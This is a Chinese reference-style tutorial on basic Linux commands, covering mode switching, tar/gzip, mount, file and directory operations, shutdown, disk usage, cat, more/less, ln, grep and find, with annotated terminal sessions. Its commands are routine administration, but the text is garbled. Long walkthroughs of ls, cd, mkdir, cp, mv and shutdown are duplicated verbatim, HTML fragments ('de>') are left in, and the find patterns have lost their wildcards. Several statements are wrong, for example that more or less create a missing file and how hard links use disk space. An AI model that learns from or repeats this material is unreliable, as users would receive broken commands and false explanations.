linux命令是对Linux系统进行管理的命令。对于Linux系统来说,无论是中央处理器、记忆体、磁碟驱动器、键盘、滑鼠,还是用户等都是档案,Linux系统管理的命令是它正常运行的核心,与之前的DOS命令类似。linux命令在系统中有两种类型内置Shell命令和Linux命令。
基本介绍
- 中文名linux命令
- 定义Linux系统进行管理的命令
- 类型内置Shell命令和Linux命令
- 归属Linux系统进行管理
- 例如console
操作命令
介绍一个名词“控制台(console)”,它就是我们通常见到的使用字元操作界面的人机接口,例如dos。我们说控制台命令,就是指通过字元界面输入的可以作业系统的命令,例如dos命令就是控制台命令。我们现在要了解的是基于Linux作业系统的基本控制台命令。有一点一定要注意,和dos命令不同的是,Linux的命令(也包括档案名称等等)对大小写是敏感的,也就是说,如果你输入的命令大小写不对的话,系统是不会做出你期望的回响的。
模式切换
1、 由图形到字元#logout或init 3
2、由字元到图形界面init 5
3、退出consolelogout或exit或ctrl+d
4、 注销Ctrl + Alt + Backspace
5、 关机#poweroff或init 0或shutdown -h now或 halt -p
6、 重启#reboot或init 6或shutdown -r now
获得帮助
#help提供内部命令的帮助#man或info提供外部命令的帮助。
如果你的英文足够好,那完全可以不靠任何人就精通linux,只要你会用man。Man实际上就是查看指令用法的help,学习任何一种UNIX类的作业系统最重要的就是学会使用man这个辅助命令。man是manual(手册)的缩写字,它的说明非常的详细,因为它都是英文,看起来非常的头痛。建议大家需要的时候再去看man,平常嘛,记得一些基本用法就可以了。
命令
tar与gzip
tar命令
tar [-cxtzjvfpPN] 档案与目录....
参数
-c 建立一个压缩档案的参数指令(create 的意思);
-x 解开一个压缩档案的参数指令!
-t 查看 tarfile 里面的档案!
特别注意,在参数的下达中, c/x/t 仅能存在一个!不可存在!
因为不可能压缩与解压缩。
-z 是否具有 gzip 的属性?亦即是否需要用 gzip 压缩?
-j 是否具有 bzip2 的属性?亦即是否需要用 bzip2 压缩?
-v 压缩的过程中显示档案!这个常用,但不建议用在背景执行过程!
-f 使用档名,请留意,在 f 之后要立即接档名喔!不要再加参数!
例如使用『 tar -zcvfP tfile sfile』就是错误的写法,要写成
『 tar -zcvPf tfile sfile』才对喔!
-p 使用原档案的原来属性(属性不会依据使用者而变)
-P 可以使用绝对路径来压缩!
-N 比后面接的日期(yyyy/mm/dd)还要新的才会被打包进新建的档案中!
--exclude FILE在压缩的过程中,不要将 FILE 打包!
#tar -cvf [档案名称.tar] [档案……目录]
查看包档案的内容
#tar -tf 档案名称.tar
向已有的包中添加新档案
#tar -rvf [档案名称.tar] [新档案……]
释放包档案#tar -xvf 档案名称.tar
gz压缩档案#gzip 档案名称
解压缩档案
#gzip -d 档案名称.gz 或#gunzip 档案名称.gz
创建压缩档
#tar -zcvf [档案名称.tar.gz] [档案1 档案2 …]
查看压缩档中的内容
#tar -ztf 档案名称.tar.gz
释放压缩档
#tar -zxvf 档案名称.tar.gz
mount,umount
mount是Linux下的一个命令,它可以将分区作为Linux的一个“档案”挂接到Linux的一个空资料夹下,从而将分区和/mnt这个目录联繫起来,我们只要访问这个资料夹,就相当于访问该分区了。目前mount已经不仅仅局限于Linux了,在Windows系统下的套用也越来越广了,多用在虚拟光碟机类软体上,比如Clone CD,Daemon tool,WinMount等。
注意事项
1、必须将光碟、随身碟等放入驱动器在实施挂载操作
2、不能在挂载目录下实施挂载操作,至少在上一级
3、不能在同一目录下挂载两个以上的档案系统
4、Linux预留挂载目录为/mnt
5、不能在挂载目录下实施卸载操作
6、挂载目录必须事先存在
挂载光碟
#mount -t iso9660 /dev/cdrom /mnt/cdrom
卸载光碟
#umount /mnt/cdrom或#umount /dev/cdrom或#cd;eject
挂载随身碟
#mount /dev/sdb1 /mnt/usb
挂载iso镜像
#mount -t iso9660 -o loop iso镜像档案/mnt/cdrom
基础命令
LINUX图形界面和命令行界面的切换
进入Ubuntu桌面环境后,可以使用键盘上的“Ctrl+Alt+F1~F6“组合键来切换不同的tty界面,Linux默认提供了6个命令行界面(F1-F6),比如”Ctrl+Alt+F1″就是切换到tty1:
1 /最上面显示的是Ubuntu的版本计算机名称和tty号/
2 Ubuntu 12.04.1 LTS qingsword tty1
4 /输入用户名和密码即可登录tty1/
5 qingsword login: root
6 Password:
在命令行模式下,想要切换回图形界面可以使用组合键”Ctrl+Alt+F7“。,如果不是从图形界面切换到tty模式,而是系统启动时候直接进入的命令行模式,在登入后可以使用”startx”来启动图形界面。
PS:在图形界面下使用”Ctrl+Alt+T“可以快速启动Linux的命令行终端。
进入Ubuntu桌面环境后,可以使用键盘上的“Ctrl+Alt+F1~F6“组合键来切换不同的tty界面,Linux默认提供了6个命令行界面(F1-F6),比如”Ctrl+Alt+F1″就是切换到tty1:
1 /最上面显示的是Ubuntu的版本计算机名称和tty号/
2 Ubuntu 12.04.1 LTS qingsword tty1
4 /输入用户名和密码即可登录tty1/
5 qingsword login: root
6 Password:
在命令行模式下,想要切换回图形界面可以使用组合键”Ctrl+Alt+F7“。,如果不是从图形界面切换到tty模式,而是系统启动时候直接进入的命令行模式,在登入后可以使用”startx”来启动图形界面。
PS:在图形界面下使用”Ctrl+Alt+T“可以快速启动Linux的命令行终端。
列出目录中的档案(LS)
在Linux命令行终端中使用的最多的命令就是这个ls,它可以帮助我们列出当前目录下都有哪些档案,下面是一些实例:
1 /
2 使用pwd,查看当前是在哪个目录中,
3 显示为“/home/qingsword”,这就是当前命令行所在的目录。
4 /
5 [qingsword@localhost ~]$ pwd
6 /home/qingsword
8 /切换到根目录/
9 [qingsword@localhost ~]$ cd /
11 /验证一下,确实在根目录下了/
12 [qingsword@localhost /]$ pwd
13 /
15 /查看根目录下面都有哪些档案和资料夹/
16 [qingsword@localhost /]$ ls
17 bin dev home lost+found mnt proc sbin srv tmp var
18 boot etc lib media opt root selinux sys usr
20 /可以使用两个ll详细输出,这个命令和ls -l效果相同/
21 [qingsword@localhost /]$ ll
22 total 78
23 dr-xr-xr-x. 2 root root 4096 Aug 9 01:21 bin
24 dr-xr-xr-x. 5 root root 1024 Aug 8 23:54 boot
25 drwxr-xr-x. 18 root root 3820 Aug 8 17:41 dev
26 drwxr-xr-x. 88 root root 4096 Dec 24 10:39 etc
27 …../省略部分输出/…..
29 /详细输出,并且显示隐藏的档案和资料夹,或ls -al/
30 [qingsword@localhost /]$ ll -a
31 total 86
32 dr-xr-xr-x. 21 root root 4096 Aug 8 17:39 .
33 dr-xr-xr-x. 21 root root 4096 Aug 8 17:39 ..
34 -rw-r–r–. 1 root root 0 Aug 8 17:39 .autofsck
35 dr-xr-xr-x. 2 root root 4096 Aug 9 01:21 bin
36 …../省略部分输出/…..
上面为ls常见的用法,下面是一些其他用法:
1 /
2 使用递归模式,显示目录以及下级子目录,
3 后面的more是当输出超出终端显示範围时,显示一个more,
4 按任意键可以继续显示下面的内容。
5 /
6 [qingsword@localhost /]$ ls -R | more
8 /按时间先后显示/
9 [qingsword@localhost /]$ ls -t
11 /横排输出,中间用逗号分隔/
12 [qingsword@localhost /]$ ls -m
14 /按大小排列,先大后小/
15 [qingsword@localhost /]$ ls -S
除此之外ls会显示不同颜色,下面是这些颜色的含义:
蓝色—目录
绿色—执行档
红色—压缩档案
浅蓝色—连结档案
粉红色—图片档案
黄色—设备档案
灰色—其他档案
可以切换到/dev目录下用ls查看一下,会看到大部分为设备档案。
目录切换(CD)
使用cd(Change Directory)命令可以在不同目录之间切换,下面是一些实例:
1 /当前目录是根目录/
2 [qingsword@localhost /]$ pwd
3 /
5 /使用cd切换到/dev这个目录/
6 [qingsword@localhost /]$ cd /dev
7
8 [qingsword@localhost dev]$ pwd
9 /dev
11 /查看一下当前目录下面的档案/
12 [qingsword@localhost dev]$ ls
14 /这条命令可以用来跳到前一个工作目录,即根目录/
15 [qingsword@localhost dev]$ cd -
16 /
18 /跳到当前用户的家目录/
19 [qingsword@localhost /]$ cd ~
20 [qingsword@localhost ~]$ pwd
21 /home/qingsword
23 /返回上一层目录/
24 [qingsword@localhost ~]$ cd ..
25 [qingsword@localhost home]$ pwd
26 /home
创建、移动、複製、删除档案的操作
可以使用下面的命令来创建一个目录,或者嵌套的目录:
1 /我在当前用户的家目录中,创建一个单层目录/
2 [qingsword@localhost ~]$ mkdir qing
3 [qingsword@localhost ~]$ ls
4 qing
6 /试着创建一个嵌套的目录,提示错误/
7 [qingsword@localhost ~]$ mkdir top/sub/sub2
8 mkdir: cannot create directory `top/sub/sub2′: No such file or directory
10 /添加-p参数才能创建多层的嵌套目录/
11 [qingsword@localhost ~]$ mkdir -p top/sub/sub2
12 [qingsword@localhost ~]$ ls
13 qing top
15 /
16 使用递归显示当前目录下面档案,
17 “.”代表当前目录,下面表示这个目录下面的子目录和档案。
18 /
19 [qingsword@localhost ~]$ ls -R
20 .:
21 qing top
23 /”qing”这个目录下面是空的,没有其他档案和资料夹/
24 ./qing:
26 /”top”目录下还有个子目录”sub”/
27 ./top:
28 sub
30 /sub目录下还有个sub2/
31 ./top/sub:
32 sub2
34 /sub2下面是空的/
35 ./top/sub/sub2:
删除目录或者档案:
1 /强制删除刚才创建的top目录,”rm -rf”后面可以接任何目录或者档案/
2 [qingsword@localhost ~]$ rm -rf top
创建文本档案:
1 /使用touch命令可以创建一个空文本档案/
2 [qingsword@localhost ~]$ touch testfile
4 /使用echo命令将hello这几个字元写入这个档案中/
5 [qingsword@localhost ~]$ echo hello>>testfile
7 /使用more命令显示这个档案中的内容/
8 [qingsword@localhost ~]$ more testfile
9 hello
11 /追加一行,显示/
12 [qingsword@localhost ~]$ echo My name is QingSword>>testfile
13 [qingsword@localhost ~]$ more testfile
14 hello
15 My name is QingSword
複製档案或资料夹:
1 /创建两个资料夹/
2 [qingsword@localhost ~]$ mkdir dir1
3 [qingsword@localhost ~]$ mkdir dir2
4 [qingsword@localhost ~]$ ls
5 dir1 dir2 qing testfile
7 /将testfile这个文本档案複製到dir2目录中/
8 [qingsword@localhost ~]$ cp testfile dir2
9 [qingsword@localhost ~]$ ls dir2
10 testfile
12 /将dir2目录複製到dir1目录中,複製非空目录要添加参数-r/
13 [qingsword@localhost ~]$ cp -r dir2 dir1
14 [qingsword@localhost ~]$ ls -R dir1
15 dir1:
16 dir2
18 dir1/dir2:
19 testfile
21 /
22 複製多个目标到一个资料夹中,
23 将dir1和dir2这两个资料夹以及testfile这个文本档案,複製到后面的qing资料夹中。
24 /
25 [qingsword@localhost ~]$ cp -r dir1 dir2 testfile qing
移动目录或档案(剪下):
1 /mv可以操作目录和档案,同样可以一次性操作多个目标/
2 [qingsword@localhost ~]$ mv dir1 qing
3 [qingsword@localhost ~]$ ls
4 dir2 qing testfile
6 [qingsword@localhost ~]$ mv testfile dir2 qing
7 [qingsword@localhost ~]$ ls
8 qing
9 [qingsword@localhost ~]$
重启和关机
使用下面的命令重启和关机(这个命令必须使用root用户才能执行):
1 /切换到root许可权/
2 [qingsword@localhost ~]$ su
3 Password:
5 /一分钟后关机/
6 [qingsword@localhost ~]# shutdown -h 1
8 /如果是定时关机,可以打开一个终端,使用下面这个命令取消关机/
9 [qingsword@localhost ~]# shutdown -c
11 /马上关机/
12 [qingsword@localhost ~]# shutdown -h now
14 /下面这两条命令也是马上关机/
15 [qingsword@localhost ~]# init 0
16 [qingsword@localhost ~]# poweroff
18 /下面这两条命令都能马上重启/
19 [qingsword@localhost ~]# reboot
20 [qingsword@localhost ~]# init 6
在Linux命令行终端中使用的最多的命令就是这个ls,它可以帮助我们列出当前目录下都有哪些档案,下面是一些实例:
1 /
2 使用pwd,查看当前是在哪个目录中,
3 显示为“/home/qingsword”,这就是当前命令行所在的目录。
4 /
5 [qingsword@localhost ~]$ pwd
6 /home/qingsword
8 /切换到根目录/
9 [qingsword@localhost ~]$ cd /
11 /验证一下,确实在根目录下了/
12 [qingsword@localhost /]$ pwd
13 /
15 /查看根目录下面都有哪些档案和资料夹/
16 [qingsword@localhost /]$ ls
17 bin dev home lost+found mnt proc sbin srv tmp var
18 boot etc lib media opt root selinux sys usr
20 /可以使用两个ll详细输出,这个命令和ls -l效果相同/
21 [qingsword@localhost /]$ ll
22 total 78
23 dr-xr-xr-x. 2 root root 4096 Aug 9 01:21 bin
24 dr-xr-xr-x. 5 root root 1024 Aug 8 23:54 boot
25 drwxr-xr-x. 18 root root 3820 Aug 8 17:41 dev
26 drwxr-xr-x. 88 root root 4096 Dec 24 10:39 etc
27 …../省略部分输出/…..
29 /详细输出,并且显示隐藏的档案和资料夹,或ls -al/
30 [qingsword@localhost /]$ ll -a
31 total 86
32 dr-xr-xr-x. 21 root root 4096 Aug 8 17:39 .
33 dr-xr-xr-x. 21 root root 4096 Aug 8 17:39 ..
34 -rw-r–r–. 1 root root 0 Aug 8 17:39 .autofsck
35 dr-xr-xr-x. 2 root root 4096 Aug 9 01:21 bin
36 …../省略部分输出/…..
上面为ls常见的用法,下面是一些其他用法:
1 /
2 使用递归模式,显示目录以及下级子目录,
3 后面的more是当输出超出终端显示範围时,显示一个more,
4 按任意键可以继续显示下面的内容。
5 /
6 [qingsword@localhost /]$ ls -R | more
8 /按时间先后显示/
9 [qingsword@localhost /]$ ls -t
11 /横排输出,中间用逗号分隔/
12 [qingsword@localhost /]$ ls -m
14 /按大小排列,先大后小/
15 [qingsword@localhost /]$ ls -S
除此之外ls会显示不同颜色,下面是这些颜色的含义:
蓝色—目录
绿色—执行档
红色—压缩档案
浅蓝色—连结档案
粉红色—图片档案
黄色—设备档案
灰色—其他档案
可以切换到/dev目录下用ls查看一下,会看到大部分为设备档案。
目录切换(CD)
使用cd(Change Directory)命令可以在不同目录之间切换,下面是一些实例:
1 /当前目录是根目录/
2 [qingsword@localhost /]$ pwd
3 /
5 /使用cd切换到/dev这个目录/
6 [qingsword@localhost /]$ cd /dev
7
8 [qingsword@localhost dev]$ pwd
9 /dev
11 /查看一下当前目录下面的档案/
12 [qingsword@localhost dev]$ ls
14 /这条命令可以用来跳到前一个工作目录,即根目录/
15 [qingsword@localhost dev]$ cd -
16 /
18 /跳到当前用户的家目录/
19 [qingsword@localhost /]$ cd ~
20 [qingsword@localhost ~]$ pwd
21 /home/qingsword
23 /返回上一层目录/
24 [qingsword@localhost ~]$ cd ..
25 [qingsword@localhost home]$ pwd
26 /home
创建、移动、複製、删除档案的操作
可以使用下面的命令来创建一个目录,或者嵌套的目录:
1 /我在当前用户的家目录中,创建一个单层目录/
2 [qingsword@localhost ~]$ mkdir qing
3 [qingsword@localhost ~]$ ls
4 qing
6 /试着创建一个嵌套的目录,提示错误/
7 [qingsword@localhost ~]$ mkdir top/sub/sub2
8 mkdir: cannot create directory `top/sub/sub2′: No such file or directory
10 /添加-p参数才能创建多层的嵌套目录/
11 [qingsword@localhost ~]$ mkdir -p top/sub/sub2
12 [qingsword@localhost ~]$ ls
13 qing top
15 /
16 使用递归显示当前目录下面档案,
17 “.”代表当前目录,下面表示这个目录下面的子目录和档案。
18 /
19 [qingsword@localhost ~]$ ls -R
20 .:
21 qing top
23 /”qing”这个目录下面是空的,没有其他档案和资料夹/
24 ./qing:
26 /”top”目录下还有个子目录”sub”/
27 ./top:
28 sub
30 /sub目录下还有个sub2/
31 ./top/sub:
32 sub2
34 /sub2下面是空的/
35 ./top/sub/sub2:
删除目录或者档案:
1 /强制删除刚才创建的top目录,”rm -rf”后面可以接任何目录或者档案/
2 [qingsword@localhost ~]$ rm -rf top
创建文本档案:
1 /使用touch命令可以创建一个空文本档案/
2 [qingsword@localhost ~]$ touch testfile
4 /使用echo命令将hello这几个字元写入这个档案中/
5 [qingsword@localhost ~]$ echo hello>>testfile
7 /使用more命令显示这个档案中的内容/
8 [qingsword@localhost ~]$ more testfile
9 hello
11 /追加一行,显示/
12 [qingsword@localhost ~]$ echo My name is QingSword>>testfile
13 [qingsword@localhost ~]$ more testfile
14 hello
15 My name is QingSword
複製档案或资料夹:
1 /创建两个资料夹/
2 [qingsword@localhost ~]$ mkdir dir1
3 [qingsword@localhost ~]$ mkdir dir2
4 [qingsword@localhost ~]$ ls
5 dir1 dir2 qing testfile
7 /将testfile这个文本档案複製到dir2目录中/
8 [qingsword@localhost ~]$ cp testfile dir2
9 [qingsword@localhost ~]$ ls dir2
10 testfile
12 /将dir2目录複製到dir1目录中,複製非空目录要添加参数-r/
13 [qingsword@localhost ~]$ cp -r dir2 dir1
14 [qingsword@localhost ~]$ ls -R dir1
15 dir1:
16 dir2
18 dir1/dir2:
19 testfile
21 /
22 複製多个目标到一个资料夹中,
23 将dir1和dir2这两个资料夹以及testfile这个文本档案,複製到后面的qing资料夹中。
24 /
25 [qingsword@localhost ~]$ cp -r dir1 dir2 testfile qing
移动目录或档案(剪下):
1 /mv可以操作目录和档案,同样可以一次性操作多个目标/
2 [qingsword@localhost ~]$ mv dir1 qing
3 [qingsword@localhost ~]$ ls
4 dir2 qing testfile
6 [qingsword@localhost ~]$ mv testfile dir2 qing
7 [qingsword@localhost ~]$ ls
8 qing
9 [qingsword@localhost ~]$
重启和关机
使用下面的命令重启和关机(这个命令必须使用root用户才能执行):
1 /切换到root许可权/
2 [qingsword@localhost ~]$ su
3 Password:
5 /一分钟后关机/
6 [qingsword@localhost ~]# shutdown -h 1
8 /如果是定时关机,可以打开一个终端,使用下面这个命令取消关机/
9 [qingsword@localhost ~]# shutdown -c
11 /马上关机/
12 [qingsword@localhost ~]# shutdown -h now
14 /下面这两条命令也是马上关机/
15 [qingsword@localhost ~]# init 0
16 [qingsword@localhost ~]# poweroff
18 /下面这两条命令都能马上重启/
19 [qingsword@localhost ~]# reboot
20 [qingsword@localhost ~]# init 6
uniq
–去除重複行
下面的示例演示如何grep的唯一相关的交易,削减不必要的信息,并获得计数。
jfields$ cat order.out.log | grep "\(Kindle\|Hardcover\)" | cut -d"," -f3 | sort | uniq -c
1 Joy of Clojure
2 Patterns of Enterprise Architecture
jfields$ cat order.out.log | grep "\(Kindle\|Hardcover\)" | cut -d"," -f3 | sort | uniq
Joy of Clojure
Patterns of Enterprise Architecture
命令ls
ls [list]
这个命令就相当于dos下的dir命令一样,这也是Linux控制台命令中最为重要几个命令之一。Linux上的档案以“.”开头的档案被系统视为隐藏档案,仅用ls命令是看不到他们的,而用ls -a除了显示 一般档案名称外,连隐藏档案也会显示出来。
ls -l(这个参数是字母L的小写,不是数字1)【直接输入ll 等价于 ls -l的效果】
这个命令可以使用长格式显示档案内容,如果需要察看更详细的档案资料,就要用到ls -l这个指令。例如我在某个目录下键入ls -l可能会显示如下信息(最上面两行是我自己加的)
位置1 2 3 4 5 6 7
档案属性档案数 拥有者 所属者 group 档案大小 建档日期 档案名称
drwx------ 2 Guest users 1024 Nov 21 21:05 Mail
-rwx--x--x 1 root root 89080 Nov 7 22:41 tar
-rwxr-xr-x 1 root bin 5013 Aug 15 9:32 uname
lrwxrwxrwx 1 root root 4 Nov 24 19:30 zcat->gzip
-rwxr-xr-x 1 root bin 308364 Nov 29 7:43 zsh
-rwsr-x--- 1 root bin 9853 Aug 15 5:46 su
下面,我为大家解释一下这些显示内容的意义。
第一个栏位,表示档案的属性。Linux的档案基本上分为三个属性可读(r),可写(w),可执行(x)。这里有十个格子可以添(具体程式实现时,实际上是十个bit位)。第一个小格是特殊表示格,表示目录或连结档案等等,d表示目录,例如drwx------;l表示连结档案,如lrwxrwxrwx;如果是以一横“-”表示,则表示这是档案。其余剩下的格子就以每3格为一个单位。因为Linux是多用户多任务系统,所以一个档案可能被许多人使用,所以我们一定要设好每个档案的许可权,其档案的许可权位置排列顺序是(以-rwxr-xr-x为例)
rwx(Owner)r-x(Group)r-x(Other)
这个例子表示的许可权是使用者自己可读,可写,可执行;同一组的用户可读,不可写,可执行;其它用户可读,不可写,可执行。,有一些程式属性的执行部分不是X,而是S,这表示执行这个程式的使用者,临时可以有和拥有者一样权力的身份来执行该程式。一般出现在系统管理之类的指令或程式,让使用者执行时,拥有root身份。
第二个栏位,表示档案个数。如果是档案的话,那这个数目自然是1了,如果是空目录的话,那它的数目就是2,非空目录等于该目录中的目录个数加上2了。
第三个栏位,表示该档案或目录的拥有者。若使用者目前处于自己的Home,那这一栏大概都是它的账号名称。
第四个栏位,表示所属的组(group)。每一个使用者都可以拥有一个以上的组,不过大部分的使用者应该都只属于一个组,只有当系统管理员希望给予某使用者特殊许可权时,才可能会给他另一个组。
第五栏位,表示档案大小。档案大小用byte来表示,而空目录一般都是1024byte,你可以用其它参数使档案显示的单位不同,如使用ls –k就是用kb来显示一个档案的大小单位,不过一般我们还是以byte为主。
第六个栏位,表示创建日期。以“月,日,时间”的格式表示,如Aug 15 5:46表示8月15日早上5:46分。
第七个栏位,表示档案名称。我们可以用ls –a显示隐藏的档案名称。
ls –F(注意,是大写的F)
使用这个参数表示在档案的后面多添加表示档案类型的符号,例如表示可执行,/表示目录,@表示连结档案,这都是因为使用了-F这个参数。现在基本上所有的Linux发行版本的ls都已经内建了-F参数,也就是说,不用输入这个参数,我们也能看到各种分辨符号。
cd
cd [change directory]
这个命令是用来进出目录的,它的使用方法和在dos下差不多,但要注意以下两点,和dos不同的是Linux的目录对大小写是敏感的,如果大小写没写对,cd操作不会成功;,cd如果直接输入,cd后面不加任何东西,会回到使用者自己的Home Directory。假设如果是root,则回到/root,与输入cd ~是一样的效果。
建新目录
mkdir、rmdir
mkdir[make directory] rmdir [remove directory]
mkdir命令用来建立新的目录,
名称mkdir
使用许可权于目前目录有适当许可权的所有使用者
使用方式mkdir[-p] dirName
说明建立名称为 dirName 之子目录。
参数-p 确保目录名称存在,不存在的就建一个。
範例
在工作目录下,建立一个名为 AAA 的子目录 :
mkdirAAA
在工作目录下的 BBB 目录中,建立一个名为Test的子目录。若 BBB目录原本不存在,则建立一个。(注本例若不加 -p,且原本 BBB目录不存在,则产生错误。)
mkdir-p BBB/Test
rmdir 用来删除已建立的目录,
名称rmdir
使用许可权于目前目录有适当许可权的所有使用者
使用方式 rmdir [-p] dirName
说明 删除空的目录。
参数 -p 是当子目录被删除后使它也成为空目录的话,则顺便一併删除。
範例
将工作目录下,名为 AAA 的子目录删除 :
rmdir AAA
在工作目录下的 BBB 目录中,删除名为 Test 的子目录。若 Test 删除后,BBB目录成为空目录,则 BBB 亦予删除。
rmdir -p BBB/Test
cp
cp[copy]
这个命令相当于dos下面的copy命令,具体用法是cp –r源档案(source) 目的档案(target)
参数r是指连同源档案中的子目录一同拷贝。熟悉dos的读者用起这个命令来会觉得更方便,毕竟比在dos下面要少敲两下键盘。
../ 和 ./ 代表的 是上级目录以及当前目录。
这样运用这两个命令来完成两种複製方法。
第一种处在当前目录複製当前目录下档案到别的目录。
cp_档案名称称_别的档案目录路径。"_"是空格
举个例子 在 orz资料夹下有两个子资料夹a和b,a中有档案x.c,b中无档案。
此时我们在a资料夹中命令如下
cp x.c ../b/
第二种处在当前资料夹下複製资料夹下的档案到当前资料夹下。
cp_路径/档案名称称_./
例子条件同上个例子,命令如下
cp ../a/x.c ./
rm
rm [remove]
这个命令是用来删除档案的,和dos下面的rm(删除一个空目录)是有区别的,大家千万要注意。rm命令常用的参数有三个 -i,-r,-f。
比如我现在要删除一个名字为test的一个档案rm –i test
系统会询问我们“rm:remove ‘test’?y”,敲了回车以后,这个档案才会真的被删除。之所以要这样做,是因为linux不象dos那样有undelete的命令,或者是可以用pctool等工具将删除过的档案救回来,linux中删除过的档案是救不回来的,所以使用这个参数在删除前让你再确定一遍,是很有必要的。
rm –r目录名这个操作可以连同这个目录下面的子目录都删除,功能上和rmdir相似。
rm –f 档案名称(目录名)这个操作可以进行强制删除。
mv
mv[move]
这个命令的功能是移动目录或档案,引申的功能是给目录或档案重命名。它的用法同dos下面的move基本相同,这里不再多讲。当使用该命令来移动目录时,他会连同该目录下面的子目录也一同移走。如果你想给一个档案或目录重命名时可以用以下方法mv 原档案名称(目录) 新的档案名称(目录)。
dudf
du [disk usage]
du命令可以显示目前的目录所占的磁碟空间,df命令可以显示目前磁碟剩余的磁碟空间。如果du命令不加任何参数,那幺返回的是整个磁碟的使用情况,如果后面加了目录的话,就是这个目录在磁碟上的使用情况(这个功能可是dos没有的呦)。不过我一般不喜欢用du,因为它给出的信息实在是太多了,我看不过来,而df这个命令我是最常用的,因为磁碟上还剩多少空间对我来说是很重要的。
语法df [选项]
说明linux中df命令可显示所有档案系统对i节点和磁碟块的使用情况。
该命令各个选项的含义如下
-a 显示所有档案系统的磁碟使用情况,包括0块(block)的档案系统,如/proc档案系统。
-k 以k位元组为单位显示。
-h以容易理解的格式输出档案系统大小,例如124KB、345MB、46GB。
-i 显示i节点信息,而不是磁碟块。
-t 显示各指定类型的档案系统的磁碟空间使用情况。
-x 列出不是某一指定类型档案系统的磁碟空间使用情况(与t选项相反)。
-T 显示档案系统类型。
功能检查档案系统的磁碟空间占用情况。可以利用该命令来获取硬碟被占用了多少空间,目前还剩下多少空间等信息的!
cat
cat[concatenate]
这个命令是linux中非常重要的一个命令,它的功能是显示或连结一般的ascii文本档案。cat是concatenate的简写,类似于dos下面的type命令。它的用法如下
cat text 显示text这个档案;
cat file1 file2 依顺序显示file1,file2的内容;
cat "file1" "file2">file3 把file1,file2的内容结合起来,再“重定向(>)”到file3档案中。
“〉”是一个非常有趣的符号,是往右重定向的意思,就是把左边的结果当成是输入,然后输入到file3这个档案中。这里要注意一点是file3是在重定向以前还未存在的档案,如果file3是已经存在的档案,那幺它本身的内容被覆盖,而变成file1+file2的内容。如果〉左边没有档案的名称,而右边有档案名称,例如
cat >file1结果是会“空出一行空白行”,等待你输入文字,输入完毕后再按[Ctrl]+[c]或[Ctrl]+[d],就会结束编辑,并产生file1这个档案,而file1的内容就是你刚刚输入的内容。这个过程和dos里面的copy con file1的结果是一样的。
,如果你使用如下的指令
cat file1>>file2这将变成将file1的档案内容“附加”到file2的档案后面,而file2的内容依然存在,这种重定向符〉〉比〉常用,可以多多利用。
档案指令
more,less
这是两个显示一般文本档案的指令。如果一个文本档案太长了超过一个萤幕的画面,用cat来看实在是不理想,就可以试试more和less两个指令。More指令可以使超过一页的档案临时停留在萤幕,等你按任何的一个键以后,才继续显示。而less除了有more的功能以外,还可以用方向键往上或往下的滚动档案,所以你随意浏览,阅读文章时,less是个非常好的选择。当more或less档案不存在时,那幺该档案就会自动生个空档案,所以more和less也可以作为创建档案的用法。
more 参数如下
+num 从第num行开始显示;
-num 定义萤幕大小,为num行;
+/pattern 从pattern 前两行开始显示;
-c 从顶部清屏然后显示;
-d 提示Press space to continue, 'q' to quit.(按空 键继续,按q键退出),禁用响铃功能;
-l 忽略Ctrl+l (换页)字元;
-p 通过清除视窗而不是滚屏来对档案进行换页。和-c参数有点相似;
-s 把连续的多个空行显示为一行;
-u 把档案内容中的下划线去掉
less 常用参数
de>-c 从顶部(从上到下)刷新萤幕,并显示档案内容。而不是通过底部滚动完成刷新;
-f 强制打开档案,二进制档案显示时,不提示警告;
-i 搜寻时忽略大小写;除非搜寻串中包含大写字母;
-I 搜寻时忽略大小写,除非搜寻串中包含小写字母;
-m 显示读取档案的百分比;
-M 显法读取档案的百分比、行号及总行数;
-N 在每行前输出行号;
-p pattern 搜寻pattern;比如在/etc/profile搜寻单词MAIL,就用 less -p MAIL /etc/profile
-s 把连续多个空白行作为一个空白行显示;
-Q 在终端下不响铃;de>
比如我们在显示/etc/profile的内容时,让其显示行号;
de>[root@localhost ~]# less -N /etc/profilede>
pwd
pwd [print working directory]
pwd [--help][--version]
说明执行pwd指令可立刻得知您目前所在的工作目录的绝对路径名称。
清除萤幕
clear
这个命令是用来清除萤幕的,它不需要任何参数,和dos下面的cls具有相同的功能,如果你觉得萤幕太紊乱,就可以使用它清除萤幕上的信息。
ln
ln[link]
这是linux中又一个非常重要命令,请大家一定要熟悉。它的功能是为某一个档案在一个位置建立一个不同的连结,这个命令最常用的参数是-s,具体用法是ln –s源档案目标档案。
当我们需要在不同的目录,用到相同的档案时,我们不需要在每一个需要的目录下都放一个必须相同的档案,我们只要在某个固定的目录,放上该档案,然后在其它的目录下用ln命令连结(link)它就可以,不必重複的占用磁碟空间。例如ln –s /bin/less /usr/local/bin/less
-s 是代号(symbolic)的意思。
这里有两点要注意第一,ln命令会保持每一处连结档案的同步性,也就是说,不论你改动了哪一处,其它的档案都会发生相同的变化;第二,ln的连结有软连结和硬连结两种,软连结就是ln –s ,它只会在你选定的位置上生成一个档案的镜像,不会占用磁碟空间,硬连结ln ,没有参数-s, 它会在你选定的位置上生成一个和源档案大小相同的档案,无论是软连结还是硬连结,档案都保持同步变化。
如果你用ls察看一个目录时,发现有的档案后面有一个@的符号,那就是一个用ln命令生成的档案,用ls –l命令去察看,就可以看到显示的link的路径了。
grep
用于查找档案中符合字元串的那行。
e.g. grep -nr "network_ssl" ./ [查找当前资料夹下所有档案内容,列出包含有 network_ssl该字串的行,并显示行号]
参数说明 -a 将 binary 档案以 text 档案的方式搜寻数据
-c 计算找到 '搜寻字元串' 的次数
-i 忽略大小写的不同,所以大小写视为相同
-n 顺便输出行号
-v 反向选择,亦即显示出没有 '搜寻字元串' 内容的那一行!
-A NUM输出匹配行的后NUM行。
-B NUM输出匹配行的前NUM行。
-C NUM输出匹配行的前、后各NUM行。
-r 明确要求搜寻子目录grep -r 或忽略子目录grep -d skip 如果有很多 输出时,您可以通过管道将其转到’less’上阅读$ grep magic /usr/src/Linux/Documentation/ | less 这样,您就可以更方便地阅读。
find
find / -name ".txt" -print 用于查找所有的‘ .txt’档案在当前目录及子目录中;
find / -name "[A-Z]" -print 用于当前目录及子目录中查找档案名称以一个大写字母开头的档案;
find /etc -name "host" -print 在/etc目录中查找档案名称以host开头的档案;
find / -name "[a-z][a-z][0--9][0--9].txt" -print 在当前目录查找档案名称以两个小写字母开头,跟着是两个数字,是.txt的档案;
1、find命令的一般形式为;
find pathname -options [-print -exec -ok ...]
2、find命令的参数;
